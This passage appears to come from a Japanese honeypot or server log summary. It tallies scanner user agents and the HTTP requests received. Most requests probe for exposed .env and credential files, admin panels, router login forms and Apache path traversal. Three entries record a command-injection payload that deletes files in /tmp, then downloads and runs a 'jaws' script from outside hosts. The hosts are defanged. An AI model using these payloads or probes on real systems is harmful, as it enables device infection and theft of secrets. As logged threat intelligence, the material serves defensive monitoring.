2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (compatible; Konqueror/4.1; OpenBSD) KHTML/4.1.4 (like Gecko)`
1	`Mozilla/5.0 (iPod; U; CPU iPhone OS 6_1 like Mac OS X; en-HK) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/3.9174IP Mobile`
7	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`
1	`SonyEricssonT650i/R7AA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`-`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\t\x01`
16		`\x16\x03\x01`
31	GET	`/.env`	HTTP/1.1
1	GET	`/.prod.env`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/EAYhx0taLiIOspMWUNRCgrDu3nY`	HTTP/1.1
2	GET	`/aaa9`	HTTP/1.1
2	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/cdn-cgi/trace`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/config.env`	HTTP/1.1
1	GET	`/config/dev.env`	HTTP/1.1
1	GET	`/creds.txt`	HTTP/1.1
1	GET	`/development.env`	HTTP/1.1
7	GET	`/dispatch.asp`	HTTP/1.1
1	GET	`/explore`	HTTP/1.1
6	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/production.env`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/sendgrid.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+167[.]71[.]210[.]63/jaws;sh+/tmp/jaws`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+45[.]81[.]243[.]34/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+heylitimysun[.]top/jaws;sh+/tmp/jaws`	HTTP/1.1
2	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/upl.php`	HTTP/1.1
2	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png`	HTTP/1.1
2	HEAD	`/icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png`	HTTP/1.1
2	HEAD	`/icons/.%2e/%2e%2e/apache2/icons/sphere1.png`	HTTP/1.1
2	HEAD	`/icons/sphere1.png`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
4	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	PRI	`*`	HTTP/2.0